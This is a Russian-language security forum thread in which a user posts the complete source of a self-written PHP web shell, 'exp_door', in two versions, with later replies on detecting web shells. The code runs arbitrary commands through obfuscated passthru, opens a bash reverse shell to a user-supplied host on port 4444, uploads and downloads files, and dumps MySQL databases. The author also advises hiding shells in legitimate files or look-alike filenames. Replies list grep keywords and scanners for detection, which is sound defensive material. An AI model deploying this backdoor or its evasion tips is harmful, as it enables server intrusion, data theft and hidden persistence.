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" />

<?php
$a1='pas'.'sth'.'ru';
$b2='ex'.'ec';
$id="id";
$pwd=__DIR__;
$uname=php_uname();
$php=phpversion();
$temp_file=sys_get_temp_dir();
$down="which get;which wget;which lynx;which curl;which fetch;which links;";

echo '<pre>';
echo 'id    | ';
echo $a1($id);
echo 'pwd   | '.$pwd.'<br>';
echo 'uname | '.$uname.'<br>';
echo 'tmp   | '.$temp_file.' '.substr(sprintf('%o', fileperms($temp_file)), -4).'<br>';
echo 'php   | '.$php.'<br>';
echo 'server| '.$_SERVER['SERVER_NAME'].' '.$_SERVER["SERVER_ADDR"].' '.$_SERVER['SERVER_SOFTWARE'];
echo '</pre>';
?>
<pre><p style="float:right;margin-block-end:3px;">exp_door v1.0.1</p></pre>
<hr>
<form style="display:inline" method="POST">
  cmd: <input type=text name=cmd>
</form>

<form style="display:inline" method="POST">
    <input type="submit" name="info" value="phpinfo"/>
    <input type="submit" name="ip" value="my ip"/>
    <input type="submit" name="down" value="downloaders"/>
</form>

<hr>

<div style="float: left;display:block;width:208px">
<pre>
<form method='POST'>
<label><b>Base64 encode/decode:</b></label>
<input style="width:178px" type=text name='base64'>
<input type='submit' name='submit' value='Encode'><input type='submit' name='submit2' value='Decode'>
</form>
</pre>
</div>

<div style="float: left;display:block;width:208px">
<pre>
<form  method='POST'>
<label><b>URL encode/decode:</b></label>
<input style="width:178px" type='text' name='url'>
<input type='submit' name='submit_u' value='Encode'><input type='submit' name='submit_u2' value='Decode'>  
</form>
</pre>
</div>

<div style="float: left;display:block;width:208px">
<pre>
<form  method='POST'>
<label><b>BackConnect to 4444:</b></label>  
<input style="width:178px" type="text" name="host_" placeholder="Enter host" required>
<input type="submit" name="reverse" value="reverse">
</form>
</pre>
</div>

<div style="float: left;display:block;width:208px">
<pre>
<form  method='POST'>
<label><b>Downloader:</b></label>  
<input style="width:178px" type="text" name="files" placeholder="Enter patch/file" required>
<input type="submit" name="downl" value="Download">
</form>
</pre>
</div>

<div style="float: left;display:block">
<pre>
<form method="POST" enctype='multipart/form-data'>
<label><b>Uploader:</b></label>
<input type='file' name='filename' ><br/>
<input type='submit' value='Upload'>
</form>
<pre>
</div>

<hr style="clear:both">
<form style="float:left;margin-right:20px;"method="POST">
<input type="password" name="name" placeholder="DB name" required><br/>
<input type="password" name="user" placeholder="DB user" required><br/>
<input type="password" name="pass" placeholder="DB pass" required><br/>
<input type="password" name="host" placeholder="MySQL host" required><br/>
<button type="submit" name="DB">Save DB to file.zip</button></p>  
</form>
<?php

if ($_FILES && $_FILES['filename']['error']== UPLOAD_ERR_OK)
{
    $name = $_FILES['filename']['name'];
    move_uploaded_file($_FILES['filename']['tmp_name'], $name);
    echo '<p style="color: red">'.'File Uploaded'.'</p>';
}

    if(isset($_POST['info']))
    {echo phpinfo();}
    if(isset($_POST['ip']))
    {print $_SERVER['REMOTE_ADDR'];}
    if(isset($_POST['down']))
    {
echo '<pre>';
echo $a1($down);
echo '</pre>';
}

    if (isset($_POST['submit'])) {
    $base64 = $_POST['base64'];
    $encode = base64_encode($base64);
echo '<p style="color: red">'."Encode base64: ".'</p>'.$encode;
}
    if (isset($_POST['submit2'])) {
    $base64_d = $_POST['base64'];
    $decode = base64_decode($base64_d);
echo '<p style="color: red">'."Decode base64: ".'</p>'.htmlentities($decode);
}

if (isset($_POST['submit_u'])) {
  $url = $_POST['url'];
  $encode_u = urlencode($url);
  echo '<p style="color: red">'."Encode url: ".'</p>'.$encode_u;
}
if (isset($_POST['submit_u2'])) {
  $url_d = $_POST['url'];
  $decode_u = urldecode($url_d);
  echo '<p style="color: red">'."Decode url: ".'</p>'.htmlentities($decode_u);
}

if (isset($_POST['reverse'])) {  
   $back = $_POST['host_'];
   $a1("bash -c 'bash -i &> /dev/tcp/$back/4444 0>&1'");
 
}
?>

<pre>
<div style="float:left;margin-bottom:20px">
<?php
if(isset($_POST['cmd'])){
$a1($_POST['cmd']);
}
?>
</div>
</pre>


<?php

if(isset($_POST['DB'])){
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$name = $_POST['name'];
$link = new mysqli($host, $user, $pass, $name);

if ($link->connect_error) {
    die("<b>Database access is not available:</b><br>".$link->connect_error);exit();
}else
    {$b2('mysqldump --user='.$user.' --password='.$pass.' --host='.$host.' '.$name.' > file.zip');echo 'Database access<br>';}
}
?>

</body>
</html>
 

Gunn1110

Green Team
01.03.2017
25
1
BIT
3
Интересная статья,спасибо. А как вообще ставят майнеры через шеллы на сервера?
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Интересная статья,спасибо. А как вообще ставят майнеры через шеллы на сервера?
Майнеры ставят точно также как и без шелла - в первую очередь его нужно закачать в директорию, где есть на это права ) Права должны быть и на исполнение в том числе. И не рекомендую этим заниматься. С одного сайта будет 3-5 рублей в сутки, а значит необходим ботнет машин на 1000, чтобы получилось что-то вменяемое на выходе. Да и нужно хорошо кодить для начала. Управление большой группой ботов может привести к наручникам за спиной.
 
  • Нравится
Реакции: SlipX, Droid и Gunn1110

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Небольшое обновление:

* Небольшое цветовое изменение в дизайне
* Убрал аватар
* Сделал чуток компактнее
* Для
Downloader сделал вывод ошибки. Например набрав левый файл 123, получаем сообщение

file.png


* Использование функций base64_encoder и base64_decoder скрыл через конкатенацию
* Добавлена полезная фишка - показ потенциально опасных функций включенных на ресурсе, выводится в массиве при нажатии на кнопку
functions

ex.png


Внешний вид шелла:

proga.png


PHP:
<!DOCTYPE html>
<html style="background-color: #D3D3D3;">
<head>
<title>exp_door v1.0.2</title>
<link href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAOKAAADigGnjPUfAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAg9JREFUeNrEV4GRgyAQjJkUQAl+BW8JlGAJfgeWQAmW4HdgCZRgCSmBDnhufsnfXBDBOB9nbhI54Ja95cDGe39553Mt6dQ0TUv2NgDhoeDdBrjuPwC4YHrDN70CoCnVQFgpgWhDfyfaaYKP0H4/AuAmJusF1RRsRlBLFvpoAeIL7YZ+q4EQA2CBghtmNBE51mAKKfARFNiIY8m3wE/jhujbs7zzNxD9GfFu8B6N8q9Y/xZMeTD3MgAVWWBtgwCxchDoE0FMLwEQk/GVdgicBAF/9LW5+a8JtQ/BxmAKTRa/mumGGKEg32j6FNtRiRqyL0Kx6iXSzsQ37zBE1qGNs6OrU4Ad4RFcscnGRF+uiVkI1Ul9lAKIkw6JFd35qhhDMSAXqDkkQraKUTDiBZBJpECaOgrAyvwhmK+w9XAdYJTrDWZKzRwVoecaED7NynSpxfKtahlIVTldwIRDyjT0MzPdqBIAs5jQJhS+mfvkSv92li0B0FYElDtDZcq6eRJ3pnO3k+s10dZvpGsUh5upOYy0MCVOywjEJcY9FSX0f6ThVnBhsRmfC4fWgsNoFe5RvGt2y6q+lJ7xxKtax07Yy6X06rSTor0UOATupVbOAKDYjhkSu+mhG6TpXnUjKgRh+Ep3akt/OgBRPR2KjoL1zDdU3wkrUzFlClSfGtec/XWMj1jN7oI2t5Wbd3+e/wgwAGD4W8SG5D6lAAAAAElFTkSuQmCC" rel="icon" type="image/png" />

<style type="text/css">
b {
color:#008800;
font-style:bold;}
hr {border:1px !important;height: 1px;background-color:#7d7171 !important;color:#7d7171 !important;}
body {font-family: sans-serif !important;color:black !important;}
pre {margin: 0;}
//input[type=file]{color: transparent;}
</style>
</head>
<body style="background-color: #D3D3D3;">


<?php
$a1='pas'.'sth'.'ru';
$b2='ex'.'ec';
$aTwo = "ba"."se"."6"."4"."_"."en"."co"."de";
$bTwo = "ba"."se"."6"."4"."_"."de"."co"."de";
$id="id";
$pwd=__DIR__;
$uname=php_uname();
$php=phpversion();
$temp_file=sys_get_temp_dir();
$down="which get;which wget;which lynx;which curl;which fetch;which links;";
$fun=$bTwo("cGhwIC1yICdwcmludF9yKGdldF9kZWZpbmVkX2Z1bmN0aW9ucygpKTsnIHwgZ3JlcCAtRSAnIChzeXN0ZW18ZXhlY3xzaGVsbF9leGVjfHBhc3N0aHJ1fHByb2Nfb3Blbnxwb3BlbnxjdXJsX2V4ZWN8Y3VybF9tdWx0aV9leGVjfHBhcnNlX2luaV9maWxlfHNob3dfc291cmNlKSc");

echo '<pre>';
echo 'id    | ';
echo $a1($id);
echo 'pwd   | '.$pwd.'<br>';
echo 'uname | '.$uname.'<br>';
echo 'tmp   | '.$temp_file.' '.substr(sprintf('%o', fileperms($temp_file)), -4).'<br>';
echo 'php   | '.$php.'<br>';
echo 'server| '.$_SERVER['SERVER_NAME'].' '.$_SERVER["SERVER_ADDR"].' '.$_SERVER['SERVER_SOFTWARE'];
echo '</pre>';
?>

<hr>
<form style="float:left;margin-right:20px;"method="POST">
<input type="password" name="name" placeholder="DB name" required><br/>
<input type="password" name="user" placeholder="DB user" required><br/>
<input type="password" name="pass" placeholder="DB pass" required><br/> 
<input type="password" name="host" placeholder="MySQL host" required><br/>
<button type="submit" name="DB">Save DB to file.zip</button></p>   
</form>

<form style="display:inline" method="POST">
<input type=text name=cmd placeholder="CMD">
</form>

<form style="display:inline" method="POST">
    <input type="submit" name="info" value="phpinfo"/>
    <input type="submit" name="ip" value="my ip"/>
    <input type="submit" name="down" value="downloaders"/>
    <input type="submit" name="fun" value="functions"/>
</form>


<hr>

<div style="float: left;display:block;width:208color: transparent;px">
<pre>
<form method='POST'>
 <label><b>Base64 encode/decode:</b></label>
 <input style="width:178px" type=text name='base64'> 
 <input type='submit' name='submit' value='Encode'><input type='submit' name='submit2' value='Decode'>
</form>
</pre>
</div>

<div style="float: left;display:block;width:208px">
<pre>
<form  method='POST'>
 <label><b>URL encode/decode:</b></label>
 <input style="width:178px" type='text' name='url'>
 <input type='submit' name='submit_u' value='Encode'><input type='submit' name='submit_u2' value='Decode'>   
</form>
</pre>
</div>

<div style="float: left;display:block;width:208px">
<pre>
<form  method='POST'>
 <label><b>BackConnect to 4444:</b></label>   
 <input style="width:178px" type="text" name="host_" placeholder="Enter host" required>
 <input type="submit" name="reverse" value="reverse">
</form>
</pre>
</div>

<div style="float: left;display:block;width:208px">
<pre>
<form  method='POST'>
 <label><b>Downloader:</b></label>   
 <input style="width:178px" type="text" name="files" placeholder="Enter patch/file" required>
 <input type="submit" name="downl" value="Download">
</form>
</pre>
</div>

<div style="float: left;display:block">
<pre>
<form method="POST" enctype='multipart/form-data'>
 <label><b>Uploader:</b></label>
 <input type='file' name='filename' ><br/>
 <input type='submit' value='Upload'>
</form>
<pre>
</div>

<hr style="clear:both">


<?php
if ($_FILES && $_FILES['filename']['error']== UPLOAD_ERR_OK)
{
    $name = $_FILES['filename']['name'];
    move_uploaded_file($_FILES['filename']['tmp_name'], $name);
    echo '<p style="color: red">'.'File Uploaded'.'</p>';
}

    if(isset($_POST['info']))
    {echo phpinfo();}
    if(isset($_POST['ip']))
    {print $_SERVER['REMOTE_ADDR'];}
    if(isset($_POST['down']))
    {
echo '<pre>';
echo $a1($down);
echo '</pre>';
}
    if(isset($_POST['fun']))
    {
    echo '<pre>';
    echo $a1($fun);
    echo '</pre>';
}

    if (isset($_POST['submit'])) {
    $base64 = $_POST['base64'];
    $encode = $aTwo($base64);
echo '<p style="color: red">'."Encode base64: ".'</p>'.$encode;
}
    if (isset($_POST['submit2'])) {
    $base64_d = $_POST['base64'];
    $decode = $bTwo($base64_d);
echo '<p style="color: red">'."Decode base64: ".'</p>'.htmlentities($decode);
}

if (isset($_POST['submit_u'])) {
  $url = $_POST['url'];
  $encode_u = urlencode($url);
  echo '<p style="color: red">'."Encode url: ".'</p>'.$encode_u;
}
if (isset($_POST['submit_u2'])) {
  $url_d = $_POST['url'];
  $decode_u = urldecode($url_d);
  echo '<p style="color: red">'."Decode url: ".'</p>'.htmlentities($decode_u);
}

if (isset($_POST['reverse'])) {   
   $back = $_POST['host_'];
   $a1("bash -c 'bash -i &> /dev/tcp/$back/4444 0>&1'");
  
}
?>

<pre>
<div style="float:left;margin-bottom:20px">
<?php
if(isset($_POST['cmd'])){
$a1($_POST['cmd']);
}
?>
</div>
</pre>


<?php

if(isset($_POST['DB'])){
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$name = $_POST['name'];
$link = new mysqli($host, $user, $pass, $name);

if ($link->connect_error) {
    die("<b>Database access is not available:</b><br>".$link->connect_error);exit();
}else
    {$b2('mysqldump --user='.$user.' --password='.$pass.' --host='.$host.' '.$name.' > file.zip');echo 'Database access<br>';}
}
?>


<?php
 
if(isset($_POST['downl'])){
$file = $_POST['files'];
  if (file_exists($file)) {
  
    if (ob_get_level()) {
      ob_end_clean();
    }   
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename=' . basename($file));
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
  } else{ echo '<p style="color: red">'.'File '.$file.' not exist!'.'</p>';
}
}
?>



</body>
</html>

Модифицируйте на своё усмотрение :)
 

ActionNum

Well-known member
27.11.2016
80
93
BIT
0
Хорошая статья, хотелось бы еще почитать о том как чистят веб-шеллы. Не прибегая, к созданию своего.

Вообще принцип похожий как и у сканеров и зная те подходы обфускации, какие описывал автор, можно состряпать простой скриптец, который будет по ключевым словам содержимого исполняемых файлов на сервере искать Web-шеллы. Берем слово exec и далее все варианты его обфускации для конкатинации строк:
$a1 = 'e'.'xec';
$a2 = 'ex'.'ec';
$a3 = 'exe'.'c';
и т.д. Так можно проделать со всеми командами для php и других языков.
пример - такого Python скрипта.
Есть и базами сигнатур проекты на гите:
Detector.php
PHP-Shell-Detector

Так же есть еще интересный способ обнаружения web-шеллов, это по логам самого веб-сервера. Берешь логи, загоняешь в Elasticsearch и анализируешь их, смотришь по времени создания файлов, по количеству обращений к файлам на веб-сервере, по длине ответа при обращении к одному и тому же файлу и т.д.
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Берем слово exec и далее все варианты его обфускации для конкатинации строк:
$a1 = 'e'.'xec';
$a2 = 'ex'.'ec';
$a3 = 'exe'.'c';
Это плохой вариант поиска, так никто не ищет. Не будет же никто искать одну букву, если сделать так $a1 = 'e'.'x'.'e'.'c';

А вот сканеры которые вы привели, будут хорошо искать, в отличии от антивирусов. Самое слабое звено это сами запросы GET, POST, REQUEST... Я об этом писал:
На самом деле, чтобы было совсем круто, нужно убрать все упоминания base64 и POST, иначе можно просто легко отгрепать по ключевикам вручную.

Софт это всегда хорошо, но вообще правильный админ палит и по файлам, отгрепав ключевики типа system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source.... и т.д., и по логам, ища whoami, id, ls, pwd... и т.д. Это очень эффективно, главное наработанный список иметь.

Борьба безопасников и безобразников вечная ) Находчивость поражает - вместо шеллов загрузчики, подгружающие шелл со стороннего сервера при обращении к загрузчику. Или шелл, состоящий из нескольких файлов, которые по отдельности подозрений не вызывают. А ещё есть мини-шеллы не оставляющие в логах никаких запросов. В общем "голь на выдумки хитра" )
 

qwerty_man

Green Team
11.04.2019
47
85
BIT
1
Это плохой вариант поиска, так никто не ищет. Не будет же никто искать одну букву, если сделать так $a1 = 'e'.'x'.'e'.'c';

А вот сканеры которые вы привели, будут хорошо искать, в отличии от антивирусов. Самое слабое звено это сами запросы GET, POST, REQUEST... Я об этом писал:


Софт это всегда хорошо, но вообще правильный админ палит и по файлам, отгрепав ключевики типа system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source.... и т.д., и по логам, ища whoami, id, ls, pwd... и т.д. Это очень эффективно, главное наработанный список иметь.

Борьба безопасников и безобразников вечная ) Находчивость поражает - вместо шеллов загрузчики, подгружающие шелл со стороннего сервера при обращении к загрузчику. Или шелл, состоящий из нескольких файлов, которые по отдельности подозрений не вызывают. А ещё есть мини-шеллы не оставляющие в логах никаких запросов. В общем "голь на выдумки хитра" )

Приветствую! Спасибо за статью!

Так как есть опыт лечений сайтов, после"шаловливых действий", замечу:

1) Как только ваш скрипт попадет в руки аналитика при работе с сайтом - он появится в антивирусных базах и потеряет свое преимущество. Выход: постоянная модификация кода (см. чуть ниже в п.3), обфускация (здесь не однозначно, обфусцированный код часто ловится), не выкладывать код в паблик (надеюсь, что для использования в личных целях - у вас есть отдельный скрипт =).

2) Ai-bolit - неплохой софт. Частенько за ним наблюдается False Positive, особенно в параноидальном режиме, бывает разработчики долго не обновляют базы (кстати, только сейчас увидел, что с февраля месяца 2019, буквально недавно появилась версия ai-bolit-hoster). Внешними сканерами, типа rescan.pro - при поиске вредоносов, пользоваться практически бесполезно, особенно, если бэкдор закрыт авторизацией. Если все же хочется, то для внешнего сканирования я бы рекомендовал использовать Quttera или Sucuri.

3) Про антивирусы, сканеры, работающие по файлам (хостер-версии или те, которые сами загружаем на сервер для проверки). В большинстве случаев, антивирусные базы работают за счет регулярных выражений, на основе поведенческого анализа - мне еще не встречались =) Поэтому, если мы возьмем какой-нибудь известный бэкдор и как следует поработаем над кодом, то скорее всего не будем обнаружены + существуют различные ограничения для таких антивирусов, например, могут не сканировать файлы больше определенного размера, не сканить .jpg, файлы с правами 000 и т.д. и т.п.

Исходя из этого, лично мое мнение - самописный бэкдор хорошо иметь, но только если вероятность того, что его исходный код попадет в чужие руки - минимален. Соответственно, в легальных целях после теста мы удалим свой бэкдор, в нелегальных, скорее всего, бэкдор найдут. Также, если пришли с благими намерениями, в 90% случаев, достаточно использовать две софтины без звонилок - webconsole и adminer.
 
  • Нравится
Реакции: SlipX и explorer

The3fon

Member
17.08.2019
14
0
BIT
0
Это плохой вариант поиска, так никто не ищет. Не будет же никто искать одну букву, если сделать так $a1 = 'e'.'x'.'e'.'c';

А вот сканеры которые вы привели, будут хорошо искать, в отличии от антивирусов. Самое слабое звено это сами запросы GET, POST, REQUEST... Я об этом писал:


Софт это всегда хорошо, но вообще правильный админ палит и по файлам, отгрепав ключевики типа system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source.... и т.д., и по логам, ища whoami, id, ls, pwd... и т.д. Это очень эффективно, главное наработанный список иметь.

Борьба безопасников и безобразников вечная ) Находчивость поражает - вместо шеллов загрузчики, подгружающие шелл со стороннего сервера при обращении к загрузчику. Или шелл, состоящий из нескольких файлов, которые по отдельности подозрений не вызывают. А ещё есть мини-шеллы не оставляющие в логах никаких запросов. В общем "голь на выдумки хитра" )

Добрый день, упустил по тексту, Вы свой шел загрузили с помощью чужого шелла или как?
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Добрый день, упустил по тексту, Вы свой шел загрузили с помощью чужого шелла или как?

Именно так, (читайте статью со строки "История одного взлома") поэтому лучше не давать названия для шеллов, которые есть во всех word-листах. Пока на локалке тестите, то конечно называйте как угодно. Но вместе с тем, плохими названиями будут что-то вроде fhlpsn.php так как это бросается в глаза при беглом просмотре директорий.

Хорошие варианты это встраивание кода в легитимный файл типа index.php, или назвав с изменением одной буквы какой-то имеющийся файл. Или дав название, не бросающееся в глаза, но очень похожее на "правильный файл", например snippet.php
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
1) Как только ваш скрипт попадет в руки аналитика при работе с сайтом - он появится в антивирусных базах и потеряет свое преимущество. Выход: постоянная модификация кода (см. чуть ниже в п.3), обфускация (здесь не однозначно, обфусцированный код часто ловится), не выкладывать код в паблик (надеюсь, что для использования в личных целях - у вас есть отдельный скрипт =).

Да, конечно, я выложил паблик-версию, и написал где слабые места. POST запросы спасут только от неопытного админа, картинку при доработанных настройках сервера я приводил в статье - все запросы как на ладони. Кому надо, тот доработает. Для того, что хочет и может поправить php-код, это не проблема.

У самого версия не оставляющая в логах никаких запросов, но так как далеко не все на форуме белые шляпы, то выкладывать такое неразумно. Да и применение ограничено - только если нужно пронаблюдать за злоумышленником, и при этом самому не спалиться. Во всех остальных случаях этого не требуется, так как заказчик и так предоставляет все доступы.

Спасибо, Quttera не использовал, посмотрю что за тулза. В моём понятии лучше рук ничего нет, но софт всегда использовать нужно для предварительной проверки, особенно когда бывают ресурсы забитые вредоносами под завязку.
 

qwerty_man

Green Team
11.04.2019
47
85
BIT
1
Да, конечно, я выложил паблик-версию, и написал где слабые места. POST запросы спасут только от неопытного админа, картинку при доработанных настройках сервера я приводил в статье - все запросы как на ладони. Кому надо, тот доработает. Для того, что хочет и может поправить php-код, это не проблема.

У самого версия не оставляющая в логах никаких запросов, но так как далеко не все на форуме белые шляпы, то выкладывать такое неразумно. Да и применение ограничено - только если нужно пронаблюдать за злоумышленником, и при этом самому не спалиться. Во всех остальных случаях этого не требуется, так как заказчик и так предоставляет все доступы.

Спасибо, Quttera не использовал, посмотрю что за тулза. В моём понятии лучше рук ничего нет, но софт всегда использовать нужно для предварительной проверки, особенно когда бывают ресурсы забитые вредоносами под завязку.

Согласен)

Quttera, на мой взгляд, очень эффективна. Но опять же, внешнее сканирование годится только для обнаружения внедрения js, редиректов. Ну а там два пути, или искать по файлам или в БД.

Про руки и софт для предварительного обнаружения - полностью согласен. Софт также бывает полезен для автоматической чистки + наличием файлового менеджера (такой есть, платный, рекламировать не буду). А затем уже да, ручная проверка по дате, логи, ssh (не всегда есть, выручает webconsole), чистка через регулярки и прочий блэкджек =)
 

qwerty_man

Green Team
11.04.2019
47
85
BIT
1
Только что просканил заражённый сайт, имеющий на борту несколько шеллов, ни один не обнаружился. Видимо не достаточно эффективный сканер всё-таки.

Посмотреть вложение 36746

Хм. Может они недектируются снаружи? Если так - то не один из внешних сканеров не обнаружит. Могу глянуть ради интереса, почему не видит, если сбросите ссылку в лс.
 

explorer

Platinum
05.08.2018
1 080
2 475
